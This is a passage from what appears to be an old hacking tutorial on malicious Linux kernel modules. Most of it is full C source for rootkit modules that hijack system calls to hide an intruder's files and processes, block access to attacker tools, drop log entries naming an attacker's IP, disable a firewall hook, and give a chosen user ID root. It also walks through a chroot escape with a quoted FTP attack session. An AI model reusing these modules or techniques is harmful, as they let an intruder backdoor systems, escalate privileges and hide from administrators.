-1, 0) = 0x40008000 read(3, "# Locale name alias data base\n#"..., 4096) = 2005 brk(0x804c000) = 0x804c000 read(3, "", 4096) = 0 close(3) = 0 munmap(0x40008000, 4096) = 0 open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0 mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000 close(3) = 0 geteuid() = 500 open("/etc/passwd", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000 read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074 close(3) = 0 munmap(0x4000b000, 4096) = 0 fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000 write(1, "r00t\n", 5r00t ) = 5 _exit(0) = ? This is a very nice listing of all systamcalls made by the command 'whoami', isn't it ? There are 4 interesting systemcalls to intercept in order to manipulate the output of 'whoami' geteuid() = 500 getuid() = 500 getgid() = 100 getegid() = 100 Take a look at II.6 for an implementation of that problem. This way of analysing programs is also very important for a quick look at other standard tools.
I hope you are now able to find any systemcall which can help you to hide yourself or just to backdoor the system, or whatever you want.

3. Confusing the kernel's System Table

In II.1 you saw how to access the sys_call_table, which is exported through the kernel symbol table. Now think about this... We can modify any exported item (functions, structures, variables, for example) by accessing them within our module.
Anything listed in /proc/ksyms can be corrupted. Remember that our module cannot be compromised that way, because we don't export any symbols. Here is a little excerpt from my /proc/ksyms file, just to show you what you can actually modify. ... 001bf1dc ppp_register_compressor 001bf23c ppp_unregister_compressor 001e7a10 ppp_crc16_table 001b9cec slhc_init 001b9ebc slhc_free 001baa20 slhc_remember 001b9f6c slhc_compress 001ba5dc slhc_uncompress 001babbc slhc_toss 001a79f4 register_serial 001a7b40 unregister_serial 00109cec dump_thread 00109c98 dump_fpu 001c0c90 __do_delay 001c0c60 down_failed 001c0c80 down_failed_interruptible 001c0c70 up_wakeup 001390dc sock_register 00139110 sock_unregister 0013a390 memcpy_fromiovec 001393c8 sock_setsockopt 00139640 sock_getsockopt 001398c8 sk_alloc 001398f8 sk_free 00137b88 sock_wake_async 00139a70 sock_alloc_send_skb 0013a408 skb_recv_datagram 0013a580 skb_free_datagram 0013a5cc skb_copy_datagram 0013a60c skb_copy_datagram_iovec 0013a62c datagram_select 00141480 inet_add_protocol 001414c0 inet_del_protocol 001ddd18 rarp_ioctl_hook 001bade4 init_etherdev 00140904 ip_rt_route 001408e4 ip_rt_dev 00150b84 icmp_send 00143750 ip_options_compile 001408c0 ip_rt_put 0014faa0 arp_send 0014f5ac arp_bind_cache 001dd3cc ip_id_count 0014445c ip_send_check 00142bc0 ip_forward 001dd3c4 sysctl_ip_forward 0013a994 register_netdevice_notifier 0013a9c8 unregister_netdevice_notifier 0013ce00 register_net_alias_type 0013ce4c unregister_net_alias_type 001bb208 register_netdev 001bb2e0 unregister_netdev 001bb090 ether_setup 0013d1c0 eth_type_trans 0013d318 eth_copy_and_sum 0014f164 arp_query 00139d84 alloc_skb 00139c90 kfree_skb 00139f20 skb_clone 0013a1d0 dev_alloc_skb 0013a184 dev_kfree_skb 0013a14c skb_device_unlock 0013ac20 netif_rx 0013ae0c dev_tint 001e6ea0 irq2dev_map 0013a7a8 dev_add_pack 0013a7e8 dev_remove_pack 0013a840 dev_get 0013b704 dev_ioctl 0013abfc dev_queue_xmit 001e79a0 dev_base 0013a8dc dev_close 0013ba40 dev_mc_add 0014f3c8 arp_find 001b05d8 n_tty_ioctl 001a7ccc tty_register_ldisc 0012c8dc kill_fasync 0014f164 arp_query 00155ff8 register_ip_masq_app 0015605c unregister_ip_masq_app 00156764 ip_masq_skb_replace 00154e30 ip_masq_new 00154e64 ip_masq_set_expire 001ddf80 ip_masq_free_ports 001ddfdc ip_masq_expire 001548f0 ip_masq_out_get_2 001391e8 register_firewall 00139258 unregister_firewall 00139318 call_in_firewall 0013935c call_out_firewall 001392d4 call_fw_firewall ... Just look at call_in_firewall, this is a function used by the firewall management in the kernel. What would happen if we replace this function with a bogus one ?
Take a look at the following LKM : #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> /*get the exported function*/ extern int *call_in_firewall; /*our nonsense call_in_firewall*/ int new_call_in_firewall() { return 0; } int init_module(void) /*module setup*/ { call_in_firewall=new_call_in_firewall; return 0; } void cleanup_module(void) /*module shutdown*/ { } Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this do a 'ping 127.0.0.1', your kernel will produce a nice error message, because the called call_in_firewall(...) function was replaced by a bogus one (you may skip the firewall installation in this example).
This is a quite brutal way of killing an exported symbol. You could also disassemble (using gdb) a certain symbol and modify certain bytes which will change the working of that symbol. Imagine there is a IF THEN contruction used in an exported function. How about disassembling this function and searching for commands like JNZ, JNE, ... This way you would be able to patch important items. Of course, you could lookup the functions in the kernel / module sources, but what about symbols you cannot get the source for because you only got a binary module. Here the disassembling is quite interesting.

4. Filesystem related Hacks

The most important feature of LKM hacking is the abilaty to hide some items (your exploits, sniffer (+logs), and so on) in the local filesystem.

4.1 How to Hide Files

Imagine how an admin will find your files : He will use 'ls' and see everything. For those who don't know it, strace'in through 'ls' will show you that the systemcall used for getting directory listings is int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count); So we know where to attack.The following piece of code shows the hacked_getdents systemcall adapted from AFHRM (from Michal Zalewski). This module is able to hide any file from 'ls' and every program using getdents systemcall. #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_getdents) (uint, struct dirent *, uint); int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; char hide[]="ourtool"; /*the file to hide*/ /*call original getdents -> result is saved in tmp*/ tmp = (*orig_getdents) (fd, dirp, count); /*directory cache handling*/ /*this must be checked because it could be possible that a former getdents put the results into the task process structure's dcache*/ #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif /*dinode is the inode of the required directory*/ if (tmp > 0) { /*dirp2 is a new dirent structure*/ dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); /*copy original dirent structure to dirp2*/ memcpy_fromfs(dirp2, dirp, tmp); /*dirp3 points to dirp2*/ dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; /*check if current filename is the name of the file we want to hide*/ if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL) { /*modify dirent struct if necessary*/ if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (dirp3->d_reclen == 0) { /* * workaround for some shitty fs drivers that do not properly * feature the getdents syscall. */ tmp -= t; t = 0; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) /*module setup*/ { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=hacked_getdents; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_getdents]=orig_getdents; } For beginners : read the comments and use your brain for 10 mins.
After that continue reading.
This hack is really helpful. But remember that the admin can see your file by directly accessing it. So a 'cat ourtool' or 'ls ourtool' will show him our file. So never take any trivial names for your tools like sniffer, mountdxpl.c, .... Of course their are ways to prevent an admin from reading our files, just read on.

4.2 How to hide the file contents (totally)

I never saw an implementation really doing this. Of course their are LKMs like AFHRM by Michal Zalewski controlling the contents / delete functions but not really hiding the contents. I suppose their are lots of people actually using methods like this, but no one wrote on it, so I do.
It should be clear that there are many ways of doing this. The first way is very simple,just intercept an open systemcall checking if filename is 'ourtool'. If so deny any open-attempt, so no read / write or whatever is possible. Let's implement that LKM :
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_open)(const char *pathname, int flag, mode_t mode); int hacked_open(const char *pathname, int flag, mode_t mode) { char *kernel_pathname; char hide[]="ourtool"; /*this is old stuff -> transfer to kernel space*/ kernel_pathname = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_pathname, pathname, 255); if (strstr(kernel_pathname, (char*)&hide ) != NULL) { kfree(kernel_pathname); /*return error code for 'file does not exist'*/ return -ENOENT; } else { kfree(kernel_pathname); /*everything ok, it is not our tool*/ return orig_open(pathname, flag, mode); } } int init_module(void) /*module setup*/ { orig_open=sys_call_table[SYS_open]; sys_call_table[SYS_open]=hacked_open; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_open]=orig_open; } This works very fine, it tells anyone trying to access our files, that they are non-existent. But how do we access those files. Well there are many ways There are thousands of possibilies which are all very easy to implement, so I leave this as an exercise for the reader.

4.3 How to hide certain file parts (a prototype implementation)

Well the method shown in 3.2 is very useful for our own tools / logs. But what about modifying admin / other user files. Imagine you want to control /var/log/messages for entries concerning your IP address / DNS name. We all know thousands of backdoors hiding our identity from any important logfile. But what about a LKM just filtering every string (data) written to a file. If this string contains any data concerning our identity (IP address, for example) we deny that write (we will just skip it/return). The following implementation is a very (!!) basic prototype (!!) LKM, just for showing it. I never saw it before, but as in 3.2 there may be some people using this since years. #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_write)(unsigned int fd, char *buf, unsigned int count); int hacked_write(unsigned int fd, char *buf, unsigned int count) { char *kernel_buf; char hide[]="127.0.0.1"; /*the IP address we want to hide*/ kernel_buf = (char*) kmalloc(1000, GFP_KERNEL); memcpy_fromfs(kernel_buf, buf, 999); if (strstr(kernel_buf, (char*)&hide ) != NULL) { kfree(kernel_buf); /*say the program, we have written 1 byte*/ return 1; } else { kfree(kernel_buf); return orig_write(fd, buf, count); } } int init_module(void) /*module setup*/ { orig_write=sys_call_table[SYS_write]; sys_call_table[SYS_write]=hacked_write; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_write]=orig_write; } This LKM has several disadvantages, it does not check for the destination it the write is used on (can be checked via fd; read on for a sample). This means the even a 'echo '127.0.0.1'' will be printed.
You can also modify the string which should be written, so that it shows an IP address of someone you really like... But the general idea should be clear.

4.4 How to redirect / monitor file operations

This idea is old, and was first implemented by Michal Zalewski in AFHRM. I won't show any code here, because it is too easy to implemented (after showing you II.4.3/II.4.2).There are many things you can monitor by redirection/ filesystem events : These are very interesting points (especially for admins) because you can monitor a whole system for file changes. In my opinion it would also be interesting to monitor file / directory creations, which use commands like 'touch' and 'mkdir'.
The command 'touch' (for example) does not use open for the creation process; a strace shows us the following listing (excerpt) : ... stat("ourtool", 0xbffff798) = -1 ENOENT (No such file or directory) creat("ourtool", 0666) = 3 close(3) = 0 _exit(0) = ? As you can see the system uses the systemcall sys_creat(..) to create new files. I think it is not necessary to present a source,because this task is too trivial just intercept sys_creat(...) and write every filename to logfile with printk(...).
This is the way AFHRM logs any important events.

4.5 How to avoid any file owner problems

This hack is not only filesystem related, it is also very important for general permission problems. Have a guess which systemcall to intercept.Phrack (plaguez) suggests hooking sys_setuid(...) with a magic UID. This means whenever a setuid is used with this magic UID, the module will set the UIDs to 0 (SuperUser).
Let's look at his implementation(I will only show the hacked_setuid systemcall): ... int hacked_setuid(uid_t uid) { int tmp; /*do we have the magic UID (defined in the LKM somewhere before*/ if (uid == MAGICUID) { /*if so set all UIDs to 0 (SuperUser)*/ current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*o_setuid) (uid); return tmp; } ... I think the following trick could also be very helpful in certain situation. Imagine the following situation: You give a bad trojan to an (very silly) admin; this trojan installs the following LKM on that system [i did not implement hide features, just a prototype of my idea] : #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_getuid)(); int hacked_getuid() { int tmp; /*check for our UID*/ if (current->uid=500) { /*if its our UID -> this means we log in -> give us a rootshell*/ current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*orig_getuid) (); return tmp; } int init_module(void) /*module setup*/ { orig_getuid=sys_call_table[SYS_getuid]; sys_call_table[SYS_getuid]=hacked_getuid; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_getuid]=orig_getuid; } If this LKM is loaded on a system we are only a normal user, login will give us a nice rootshell (the current process has SuperUser rights). As I said in part I current points to the current task structure.

4.6 How to make a hacker-tools-directory unaccessible

For hackers it is often important to make the directory they use for their tools (advanced hackers don't use the regular local filesystem to store their data). Using the getdents approach helped us to hide directory/files. The open approach helped us to make our files unaccessible. But how to make our directory unaccessible ?
Well - as always - take a look at include/sys/syscall.h; you should be able to figure out SYS_chdir as the systemcall we need (for people who don't believe it just strace the 'cd' command...). This time I won't give you any source, because you just need to intercept sys_mkdir, and make a string comparison. After this you should make a regular call (if it is not our directory) or return ENOTDIR (standing for 'there exists no directory with that name'). Now your tools should really be hidden from intermediate admins (advanced / paranoid ones will scan the HDD at its lowest level, but who is paranoid today besides us ?!). It should also be possible to defeat this HDD scan, because everything is based on systemcalls.

4.7 How to change CHROOT Environments

This idea is totally taken from HISPAHACK (hispahack.ccc.de). They published a real good text on that theme ('Restricting a restricted FTP'). I will explain their idea in some short words. Please note that the following example will not work anymore, it is quite old (see wu-ftpd version). I just show it in order to explain how you can escape from chroot environments using LKMs. The following text is based on old software (wuftpd) so don't try to use it in newer wu-ftpd versions, it won't work.
HISPAHACK's paper is based on the idea of an restricted user FTP account which has the following permission layout :
drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/ drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/ This scenario (which you can often find) the user (we) can rename the bin directory, because it is in our home directory.
Before doing anything like that let's take a look at whe working of wu.ftpd (the server they used for explanation, but the idea is more general). If we issue a LIST command ../bin/ls will be executed with UID=0 (EUID=user's uid). Before the execution is actually done wu.ftpd will use chroot(...) in order to set the process root directory in a way we are restricted to the home directory. This prevents us from accessing other parts of the filesystem via our FTP account (restricted).
Now imagine we could replace /bin/ls with another program, this program would be executed as root (uid=0). But what would we win, we cannot access the whole system because of the chroot(...) call. This is the point where we need a LKM helping us. We remove .../bin/ls with a program which loads a LKM supplied by us. This module will intercept the sys_chroot(...) systemcall. It must be changed in way it will no more restrict us.
This means we only need to be sure that sys_chroot(...) is doing nothing. HISPAHACK used a very radical way, they just modified sys_chroot(...) in a way it only returns 0 and nothing more. After loading this LKM you can spawn a new process without being restricted anymore. This means you can access the whole system with uid=0. The following listing shows the example 'Hack-Session' published by HISPAHACK : thx:~# ftp ftp> o ilm Connected to ilm. 220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready. Name (ilm:root): user 331 Password required for user. Password: 230 User user logged in.&nbsp; Access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files.</TT></PRE> ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 5 drwxr-xr-x 5 user users 1024 Jun 21 11:26 . drwxr-xr-x 5 user users 1024 Jun 21 11:26 .. d--x--x--x 2 root root 1024 Jun 21 11:26 bin drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 226 Transfer complete. ftp> cd .. 250 CWD command successful. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 5 drwxr-xr-x 5 user users 1024 Jun 21 11:26 . drwxr-xr-x 5 user users 1024 Jun 21 21:26 .. d--x--x--x 2 root root 1024 Jun 21 11:26 bin drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 226 Transfer complete. ftp> ls bin/ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. ---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls 226 Transfer complete. ftp> ren bin bin.old 350 File exists, ready for destination name 250 RNTO command successful. ftp> mkdir bin 257 MKD command successful. ftp> cd bin 250 CWD command successful. ftp> put ls 226 Transfer complete. ftp> put insmod 226 Transfer complete. ftp> put chr.o 226 Transfer complete. ftp> chmod 555 ls 200 CHMOD command successful. ftp> chmod 555 insmod 200 CHMOD command successful. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. UID: 0 EUID: 1002 Cambiando EUID... UID: 0 EUID: 0 Cargando modulo chroot... Modulo cargado. 226 Transfer complete. ftp> bye 221 Goodbye. thx:~# --> now we start a new FTP session without being restricted (LKM is loaded so sys_chroot(...) is defeated. So do what you want (download passwd...) In the Appendix you will find the complete source code for the new ls and the module.

5. Process related Hacks

So far the filesystem is totally controlled by us. We discussed the most interesting 'Hacks'. Now its time to change the direction. We need to discuss LKMs confusing commands like 'ps' showing processes.

5.1 How to hide any process

The most important thing we need everyday is hiding a process from the admin. Imagine a sniffer, cracker (should normally not be done on hacked systems), ... seen by an admin when using 'ps'. Oldschool tricks like changing the name of the sniffer to something different, and hoping the admin is silly enough, are no good for the 21. century. We want to hide the process totally. So lets look at an implementation from plaguez (some very minor changes): #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> #include <linux/proc_fs.h> extern void* sys_call_table[]; /*process name we want to hide*/ char mtroj[] = "my_evil_sniffer"; int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count); /*convert a string to number*/ int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') return (-1); res += (*ptr - '0') * mul; mul *= 10; } return (res); } /*get task structure from PID*/ struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } /*get process name from task structure*/ static inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } /*check whether we need to hide this process*/ int invisible(pid_t pid) { struct task_struct *task = get_task(pid); char *buffer; if (task) { buffer = kmalloc(200, GFP_KERNEL); memset(buffer, 0, 200); task_name(task, buffer); if (strstr(buffer, (char *) &mtroj)) { kfree(buffer); return 1; } } return 0; } /*see II.4 for more information on filesystem hacks*/ int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; tmp = (*orig_getdents) (fd, dirp, count); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc=1; if (tmp > 0) { dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); memcpy_fromfs(dirp2, dirp, tmp); dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; if ((proc && invisible(myatoi(dirp3->d_name)))) { if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) /*module setup*/ { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=hacked_getdents; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_getdents]=orig_getdents; } The code seems complicated, but if you know how 'ps' and every process analyzing tool works, it is really easy to understand. Commands like 'ps' do not use any special systemcall for getting a list of the current processes (there exists no systemcall doing this). By strace'in 'ps' you will recognize that it gets its information from the /proc/ directory. There you can find lots of directories with names only consisting of numbers. Those numbers are the PIDs of all running processes on that system. Inside these directories you find files which provide any information on that process.So 'ps' just does an 'ls' on /proc/; every number it finds stands for a PID it shows in its well-known listing. The information it shows us about every process is gained from reading the files inside /proc/PID/. Now you should get the idea.'ps' must read the contents of the /proc/ directory, so it must use sys_getdents(...).We just must get the name of the a PID found in /proc/; if it is our process name we want to hide, we will hide it from /proc/ (like we did with other files in the filesystem -> see 4.1). The two task functions and the invisible(...) function are only used to get the name for a given PID found in the proc directory and related stuff. The file hiding should be clear after studying 4.1.
I would improve only one point i